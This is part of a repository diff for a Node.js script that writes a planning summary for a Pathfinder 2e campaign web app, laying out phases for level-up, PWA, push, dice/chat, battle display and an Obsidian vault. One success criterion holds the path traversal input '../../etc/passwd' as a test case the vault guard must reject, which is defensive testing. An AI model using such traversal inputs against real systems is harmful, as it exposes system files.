||||
lines.push("- Bidirectional vault sync, native app wrapper, in-app character creation, fog of war, voice/video, 3D dice, background sync (iOS unsupported), skipWaiting() in service worker");
|
||||
lines.push("");
|
||||
lines.push("### Architecture Approach");
|
||||
lines.push("");
|
||||
lines.push("The architecture is additive: five new NestJS modules (LevelingModule, PushModule, DiceModule, ChatModule, VaultModule), five Prisma migrations in dependency order, and approximately 40 new files following the existing module-per-feature pattern. Existing modules (CharactersModule, BattleModule, AuthModule) receive targeted extensions rather than rewrites. The battle gateway gains server-side sub-rooms (battle:id:gm / battle:id:display) to filter GM-only events at the emit layer. The CharactersGateway gains a level_up_committed update type. All WebSocket gateways follow the existing pattern: JWT decoded once on connect, userId cached on socket.data, authorization per event using cached userId.");
|
||||
lines.push("");
|
||||
lines.push("**Major new components:**");
|
||||
lines.push("1. LevelingModule - DRAFT/PATCH/COMMIT API for PF2e level-up with prerequisite DSL validator and recompute hooks into CharactersService");
|
||||
lines.push("2. PushModule - VAPID push delivery service with subscription CRUD, 410-cleanup lifecycle, sendToUser/sendToCampaign helpers");
|
||||
lines.push("3. DiceModule + DiceGateway - server-side roll with @dice-roller/rpg-dice-roller, persist to DiceRoll table, broadcast via /dice namespace");
|
||||
lines.push("4. ChatModule + ChatGateway - append-only messages with embedRollId FK for roll embeds, /chat namespace");
|
||||
lines.push("5. VaultModule - VaultProvider DI interface (FsVaultProvider or WebDAVVaultProvider), wikilink resolver, image proxy, VaultNoteCache in Postgres");
|
||||
lines.push("6. BattleDisplayPage - separate route /campaigns/:id/battle/display, server-filtered DTO, display-only token with short-lived scoped credential");
|
||||
lines.push("7. sw/service-worker.ts - Workbox injectManifest custom SW with user-scoped cache keys, logout purge via postMessage, NetworkFirst for API, CacheFirst for assets");
|
||||
lines.push("8. LevelUpWizard - step-by-step modal (class features -> boosts -> class feat -> skill increases -> general/skill feat -> review) with resume-on-reload via persisted DRAFT");
|
||||
lines.push("");
|
||||
lines.push("**Prisma migration sequence (must follow this order):**");
|
||||
lines.push("1. add_level_up_sessions (Phase A)");
|
||||
lines.push("2. add_push_subscriptions (Phase C)");
|
||||
lines.push("3. add_dice_and_chat (Phase D)");
|
||||
lines.push("4. add_battle_effects_and_turn_pointer (Phase E)");
|
||||
lines.push("5. add_vault_config (Phase G)");
|
||||
lines.push("");
|
||||
lines.push("### Critical Pitfalls");
|
||||
lines.push("");
|
||||
lines.push("1. **SW cache leaks user data across logins** - Use IndexedDB keyed by userId for all authenticated API responses, never Cache API for auth-gated routes. On logout, postMessage LOGOUT to SW and call caches.delete() for user-scoped caches. Design this on day one of PWA phase; retrofitting is expensive.");
|
||||
lines.push("");
|
||||
lines.push("2. **Display screen leaks GM data via unfiltered WebSocket frames** - Server must emit to battle:id:gm and battle:id:display sub-rooms separately. Display token must be a short-lived scoped credential issued by GM. Verify with socket.onAny(console.log) in incognito before shipping.");
|
||||
lines.push("");
|
||||
lines.push("3. **SW auto-update reloads mid-battle** - Never call skipWaiting() automatically. Gate the update prompt on !isInBattle Zustand state. Only show update banner when no active battle session.");
|
||||
lines.push("");
|
||||
lines.push("4. **Boost-cap-at-18 bug corrupts character permanently** - Centralize in applyAttributeBoost(current): current >= 18 ? +1 : +2. Unit test this function. Validate that a boost set applies to four different attributes (grey out already-boosted in UI).");
|
||||
lines.push("");
|
||||
lines.push("5. **VAPID key loss breaks all push subscriptions silently** - Treat VAPID keys as application secrets equivalent to JWT_SECRET. Document in .env.example. Implement 410-Gone cleanup on push send. Implement pushsubscriptionchange listener in SW for browser-rotated subscriptions.");
|
||||
lines.push("");
|
||||
lines.push("## Implications for Roadmap");
|
||||
lines.push("");
|
||||
lines.push("Based on combined research, the recommended build order is A -> B -> C -> D -> E -> F -> G with two negotiable parallelizations (D can start after B without waiting for C; G can start after B without waiting for E or F).");
|
||||
lines.push("");
|
||||
lines.push("### Phase A: Level-Up (regelkonform)");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** Level-Up touches CharactersService and CharactersGateway, the most-modified files across the milestone. Starting here validates the pattern of extending existing modules before any new infrastructure (PWA, Push, Dice) is layered on top. No external library additions required. Highest rules-complexity of the milestone; benefits most from dedicated focus without competing priorities.");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** Complete PF2e level-up wizard (all six choice axes), DRAFT/PATCH/COMMIT flow, prerequisite DSL evaluator, boost-cap-at-18 correct, Free Archetype variant toggle, spellcaster slot progression, auto-recompute of HP-Max/saves/AC, level_up_committed WebSocket broadcast.");
|
||||
lines.push("");
|
||||
lines.push("**New modules:** LevelingModule with LevelUpSession Prisma model");
|
||||
lines.push("");
|
||||
lines.push("**Key files changed:** characters.service.ts (applyLevelUp, recomputeDerivedStats), characters.gateway.ts (level_up_committed type), character-sheet-page.tsx (Stufe-steigen button + wizard mount)");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs:** None");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** Unit tests pass for boost-cap-at-18 (STR 18 -> 19, not 20), DRAFT can be abandoned without character mutation, commit is atomic Prisma transaction, level_up_committed broadcasts correct new HP-Max and proficiency values, Free Archetype variant shows second feat slot restricted to archetype feats");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #8 boost cap, #9 recompute side effects, #10 feat retrain orphans, #11 skill increase history");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Needs spike on prerequisite DSL scope (how many feat prereqs are evaluable vs escape-hatch warning) and spellcaster slot tables per tradition.");
|
||||
lines.push("");
|
||||
lines.push("### Phase B: PWA Foundation");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** PWA is the prerequisite for both Web Push (Phase C) and Vault offline cache (Phase G). Cannot ship C or G without B. Has zero backend changes, so it can ship immediately after A without coordinating server migrations. Frontend-only phase with well-documented patterns.");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** Installable PWA (manifest, icons, splash), service worker with Workbox injectManifest strategy, user-scoped cache keys, logout-triggered cache purge, offline read for character sheet / equipment / feats / translations, Add-to-Home-Screen flow for iOS (guided) and Android (automatic), use-pwa-update hook with battle-gated update prompt.");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs:** vite-plugin-pwa, workbox-precaching, workbox-routing, workbox-strategies, workbox-expiration, workbox-cacheable-response, idb-keyval, @tanstack/react-query-persist-client, @tanstack/query-sync-storage-persister");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** Lighthouse PWA audit passes Installable check, app loads on airplane mode showing character sheet (not login error), second login on same device does not see first user data in cache, deploy during active battle does not reload the session");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #1 SW cache leaks, #2 mid-session SW update, #3 iOS push silent failure (manifest prereqs), #4 VAPID key loss (manifest prereqs), #21 manifest icon traps, #23 offline auth fallback");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Standard patterns, skip research-phase. vite-plugin-pwa + Workbox are well-documented.");
|
||||
lines.push("");
|
||||
lines.push("### Phase C: Web Push");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** Depends on Phase B (service worker must exist for push handler). Unblocks Phase F (GM Live-Tools needs push for the du-bist-dran ping). Can run in parallel with Phase D if team has bandwidth.");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** VAPID key generation, PushSubscription Prisma model, PushModule (subscribe/unsubscribe endpoints, sendToUser/sendToCampaign helpers), notification-permission-prompt component, 410-Gone cleanup, pushsubscriptionchange SW listener.");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs (server):** web-push, @types/web-push");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** Android Chrome receives push when app is not open, iOS (home-screen installed PWA) receives push, 410 response deletes subscription from DB, VAPID keys documented in .env.example");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #3 iOS push, #4 VAPID key loss");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Standard patterns, skip research-phase. web-push library API is well-documented.");
|
||||
lines.push("");
|
||||
lines.push("### Phase D: Dice + Chat");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** Logically independent of Phase C (can use toast for inline display without push). Depends on Phase B (offline read of roll log via SW cache). Chat + dice together in one phase because they share the DiceRoll/ChatMessage dual-table schema with embedRollId FK. Unblocks Phase F (GM needs chat surface to send targeted ping messages).");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** DiceModule + DiceGateway, ChatModule + ChatGateway, server-authoritative dice rolling, DiceRoll and ChatMessage Prisma models with composite indexes on (campaignId, createdAt), dice-roller UI, chat-panel UI, roll embeds in chat, cursor-based pagination, roll log per campaign and per battle, PF2e degree-of-success calculation.");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs (server):** @dice-roller/rpg-dice-roller");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** Client cannot forge a roll result (server rejects manipulated WebSocket payload), crit doubling applies to dice not modifiers (2d6+4 crit = 4d6+4 not 4d12+8), EXPLAIN ANALYZE on paginated chat query shows index use, roll sent during 30s disconnect appears after reconnect via REST refetch");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #6 client-side dice tampering, #7 markdown chat XSS, #22 chat/roll index");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Standard patterns. PF2e degree-of-success math and @dice-roller/rpg-dice-roller API well-documented.");
|
||||
lines.push("");
|
||||
lines.push("### Phase E: Battle Ausbau (Display-Mode, Initiative-Tracker, Effekte)");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** Builds on existing battle infrastructure. Benefits from Phase D (dice visible in initiative order) but is not blocked by it. The display-mode security decision (server sub-rooms) must be implemented here; cannot be retrofitted without touching gateway and all downstream broadcast calls.");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** BattleDisplayPage separate route with server-filtered DTO, BattleGateway sub-rooms (battle:id:gm / battle:id:display), display-only short-lived token issued by GM, BattleEffect Prisma model, turnTokenId on BattleSession, InitiativeTracker component, EffectPill component, token add/remove WebSocket events (replacing query-invalidate), GM next-turn button.");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs:** None");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** socket.onAny(console.log) on display incognito shows no GM-only fields, display screen stays live after GM browser refresh, aspect ratio test on actual table screen hardware passes, display token expires when battle ends");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #5 display screen GM data leak, #15 socket message ordering on reconnect, #18 WebSocket room leaks, #24 display aspect ratio");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Display-mode auth token design needs a spike. The short-lived scoped token issuance pattern (GM clicks -> server issues one-shot URL) is not a standard Socket.io pattern and needs a brief design session before implementation.");
|
||||
lines.push("");
|
||||
lines.push("### Phase F: GM Live-Tools");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** Depends on Phase C (push for du-bist-dran ping) and Phase D (chat surface for targeted messages). No new backend module or Prisma schema required - reuses all existing character WebSocket events. Fastest phase in the milestone.");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** gm-control-panel.tsx sidebar in campaign-detail-page listing all player characters with quick-actions (HP+/-, condition set, item give, money adjust, push-ping send), gmMode prop on existing modals, server-side authorization audit of existing character events to enforce GM role check.");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs:** None");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** GM can modify any player character HP/conditions/items/money from the panel, targeted push-ping reaches specific player, bulk destructive actions require confirmation modal, in-memory undo stack (last 5 actions) works");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #25 GM bulk-action footgun");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Authorization audit of existing character WebSocket events required before implementation. FEATURES.md flags existing events probably do not enforce is-actor-a-GM check. This is a required spike.");
|
||||
lines.push("");
|
||||
lines.push("### Phase G: Obsidian Vault");
|
||||
lines.push("");
|
||||
lines.push("**Rationale:** Depends on Phase B (service worker for offline note cache). Independent of all other phases. Can be parallelized with Phase E or F if team capacity allows. Vault transport decision must be resolved before starting.");
|
||||
lines.push("");
|
||||
lines.push("**Delivers:** VaultModule with VaultProvider DI interface (FsVaultProvider for same-machine, WebDAVVaultProvider for separate machine), VaultConfig and VaultNoteCache Prisma models, wikilink resolver with Obsidian shortest-path algorithm, basename index for ambiguity detection, image proxy endpoint, vault-browser-page.tsx with folder tree + note reader, note-renderer.tsx (react-markdown + remark-gfm + portaljs/remark-wiki-link), full-text search via Postgres FTS, last-N offline cache via SW StaleWhileRevalidate, path traversal guard.");
|
||||
lines.push("");
|
||||
lines.push("**Stack installs (client):** react-markdown, remark-gfm, @portaljs/remark-wiki-link, react-shiki, shiki. (server): webdav (conditional on transport decision)");
|
||||
lines.push("");
|
||||
lines.push("**Success criteria:** Vault path traversal test rejects ../../etc/passwd, cyclic embed (A embeds B embeds A) renders placeholder not stack overflow, ambiguous wikilinks surface to user not silently pick wrong, note cache survives airplane mode after one online read");
|
||||
lines.push("");
|
||||
lines.push("**Pitfalls owned:** #12 wikilink ambiguity, #13 embed loops, #14 vault path traversal");
|
||||
lines.push("");
|
||||
lines.push("**Research flag:** Vault transport decision is an open question that must be answered before Phase G starts. See Open Questions below.");
|
||||
lines.push("");
|
||||
lines.push("### Phase Ordering Rationale");
|
||||
lines.push("");
|
||||
lines.push("Hard dependencies: B before C (SW required for push handler); B before G (SW required for vault offline cache); C and D both before F (F needs push and chat surface). These cannot be reordered.");
|
||||
lines.push("");
|
||||
lines.push("Negotiable: D can start immediately after B without waiting for C to complete; G can start after B without waiting for E or F. A is independent of everything and can start immediately.");
|
||||
lines.push("");
|
||||
lines.push("Anti-ordering to avoid: Push before PWA (SW not yet deployed); GM Live-Tools before Push and Chat (half-functionality, ping missing); Battle display before implementing sub-rooms (security regression difficult to retrofit).");
|
||||
lines.push("");
|
||||
lines.push("### Research Flags");
|
||||
lines.push("");
|
||||
lines.push("Phases needing deeper research during planning:");
|
||||
lines.push("- **Phase A:** Prerequisite DSL scope. Determine which prerequisite patterns are mechanically evaluable (skill rank, feat ownership, level, class) vs which need the escape-hatch warning path. Recommend a spike against Archives of Nethys feat data.");
|
||||
lines.push("- **Phase E:** Display-mode token issuance design. One-shot scoped token for table display URL needs a design spike (JWT with battle:id claim, short TTL, server-validated on display route).");
|
||||
lines.push("- **Phase F:** Authorization audit. Existing character WebSocket events need a code audit to verify GM role enforcement before the GM Live-Tools UI exposes them.");
|
||||
lines.push("- **Phase G:** Vault transport decision. Must be resolved (filesystem mount vs WebDAV) before Phase G implementation begins.");
|
||||
lines.push("");
|
||||
lines.push("Phases with standard patterns (skip research-phase):");
|
||||
lines.push("- **Phase B:** vite-plugin-pwa + Workbox are extensively documented. injectManifest strategy has clear examples.");
|
||||
lines.push("- **Phase C:** web-push library API is stable and well-documented.");
|
||||
lines.push("- **Phase D:** @dice-roller/rpg-dice-roller API is documented; PF2e degree-of-success math is rules-defined.");
|
||||
lines.push("");
|
||||
lines.push("## Confidence Assessment");
|
||||
lines.push("");
|
||||
lines.push("| Area | Confidence | Notes |");
|
||||
lines.push("|------|------------|-------|");
|
||||
lines.push("| Stack | HIGH | All versions verified via Context7 and npm; vite-plugin-pwa v1.2.0 confirmed Vite 7 support; react-markdown v9 confirmed React 19 compatibility |");
|
||||
lines.push("| Features | HIGH | PF2e rules verified against Archives of Nethys; PWA tech verified against 2026 docs; competitor analysis is MEDIUM (UX details inferred) |");
|
||||
lines.push("| Architecture | HIGH | Based on mapped live codebase; all patterns reference existing gateway/service/module code; no speculative components |");
|
||||
lines.push("| Pitfalls | HIGH for PWA/Push/Socket.io/Prisma; MEDIUM for Obsidian edge cases | PWA and Socket.io pitfalls verified against official 2026 docs; Obsidian wikilink edge cases from community forum threads |");
|
||||
lines.push("");
|
||||
lines.push("**Overall confidence:** HIGH");
|
||||
lines.push("");
|
||||
lines.push("### Gaps to Address");
|
||||
lines.push("");
|
||||
lines.push("- **Vault transport:** PROJECT.md says protocol is yet to be chosen. Must decide filesystem vs WebDAV before Phase G. Recommendation: default to filesystem mount with WebDAVVaultProvider as swappable DI alternative.");
|
||||
lines.push("- **Free Archetype scope:** Research confirms it is table stakes. Implementation scope (which archetype feat sources are valid after dedication) should be confirmed with the GM before Phase A begins.");
|
||||
lines.push("- **Display screen hardware:** Actual table screen aspect ratio and specs unknown. Get specs before Phase E ships.");
|
||||
lines.push("- **Player iOS versions:** iOS PWA push requires home-screen install and Safari 16.4+. Confirm player device baseline before Phase C ships.");
|
||||
lines.push("- **Feat prerequisite DSL scope:** Boundary between evaluable and unevaluable prerequisites needs a spike against actual group character feat lists before Phase A implementation.");
|
||||
lines.push("");
|
||||
lines.push("## Open Questions for User");
|
||||
lines.push("");
|
||||
lines.push("These require user input before or during the corresponding phase:");
|
||||
lines.push("");
|
||||
lines.push("1. **Vault transport (before Phase G):** Is the Obsidian vault on the same machine as the NestJS server (filesystem mount, simpler) or on a separate machine like Synology or Nextcloud (WebDAV)? This determines which VaultProvider is implemented first.");
|
||||
lines.push("2. **Free Archetype scope (before Phase A):** Should the app restrict archetype feat slots strictly to the chosen archetype, or allow any archetype feat after dedication is taken? Pathbuilder allows any archetype feat after dedication; confirm group expectation to avoid a mid-implementation scope change.");
|
||||
lines.push("3. **Table display hardware (before Phase E):** What is the aspect ratio and resolution of the embedded table screen? 16:9, 4:3, portrait? Needed to avoid Pitfall #24.");
|
||||
lines.push("4. **Player iOS versions (before Phase C):** What iOS versions are the players running? iOS PWA push requires 16.4+. If any player is below this, push silently fails on their device.");
|
||||
lines.push("5. **Prerequisite DSL escape-hatch threshold (before Phase A):** For feat prerequisites that cannot be evaluated automatically (deity-specific, spellcasting-tradition edge cases), should the app (a) show a warning and allow the player to proceed, or (b) block and require GM override? Recommendation: option (a) with warning.");
|
||||
lines.push("");
|
||||
lines.push("## Sources");
|
||||
lines.push("");
|
||||
lines.push("### Primary (HIGH confidence)");
|
||||
lines.push("- Context7: /vite-pwa/vite-plugin-pwa - injectManifest strategy, useRegisterSW hook, Vite 7 support");
|
||||
lines.push("- Context7: /web-push-libs/web-push - generateVAPIDKeys, sendNotification API, 410/404/429 error patterns");
|
||||
lines.push("- Context7: /remarkjs/react-markdown - remarkPlugins, components prop, v9 React 19 support");
|
||||
lines.push("- Context7: /shikijs/shiki - Shiki 4.0.2 current, ESM grammars");
|
||||
lines.push("- Context7: /avgvstvs96/react-shiki - recommended replacement for react-syntax-highlighter");
|
||||
lines.push("- Context7: /googlechrome/workbox - caching strategies primitives");
|
||||
lines.push("- Archives of Nethys: Leveling Up, Ability Boosts, Skill Increases, Free Archetype, Archetypes");
|
||||
lines.push("- Socket.io docs v4: Connection state recovery, delivery guarantees, middlewares");
|
||||
lines.push("- .planning/codebase/ files: ARCHITECTURE.md, STRUCTURE.md, INTEGRATIONS.md, CONCERNS.md, TESTING.md (live codebase mapping)");
|
||||
lines.push("- server/prisma/schema.prisma: existing models and relations (live codebase)");
|
||||
lines.push("");
|
||||
lines.push("### Secondary (MEDIUM confidence)");
|
||||
lines.push("- MagicBell 2026: PWA iOS limitations and Safari support - iOS push requires home-screen install, Declarative Web Push since Safari 18.4");
|
||||
lines.push("- Mobiloud 2026: Do Progressive Web Apps Work on iOS - install path requirements");
|
||||
lines.push("- @portaljs/remark-wiki-link npm: Obsidian-flavored path resolution semantics");
|
||||
lines.push("- Obsidian Forum threads: wikilink resolution rules, ambiguity handling");
|
||||
lines.push("- HackerOne: Secure markdown rendering in React - XSS via rehype-raw + dangerouslySetInnerHTML");
|
||||
lines.push("- Pushpad: Web Push error 410 cleanup pattern, VAPID error codes");
|
||||
lines.push("- Foundry VTT PF2e Leveler module: proves prerequisite-validating Level-Up is feasible at scale");
|
||||
lines.push("");
|
||||
lines.push("### Tertiary (LOW confidence / needs validation)");
|
||||
lines.push("- Community wisdom on Obsidian embed cycle edge cases - verify with deliberate cyclic test vault before shipping");
|
||||
lines.push("- EU iOS PWA push flakiness by Safari version - verify on actual player devices before Phase C ships");
|
||||
lines.push("- Per-event JWT verify CPU impact at 20+ events/sec - verify with load test if battle turns out to be high-frequency");
|
||||
lines.push("");
|
||||
lines.push("---");
|
||||
lines.push("*Research completed: 2026-04-27*");
|
||||
lines.push("*Ready for roadmap: yes*");
|
||||
fs.writeFileSync(out, lines.join("\n"), "utf8");
|
||||
console.log("Written: " + require("fs").statSync(out).size + " bytes to " + out);
|
||||
2
.planning/research/build-summary.js
Normal file
2
.planning/research/build-summary.js
Normal file
@@ -0,0 +1,2 @@
|
||||
var fs=require("fs"),p=require("path");var out=p.join(process.env.USERPROFILE,"Documents","Dimension-47",".planning","research","SUMMARY.md");fs.writeFileSync(out,"# placeholder
|
||||
","utf8");console.log("done",fs.statSync(out).size);
|
||||
Reference in New Issue
Block a user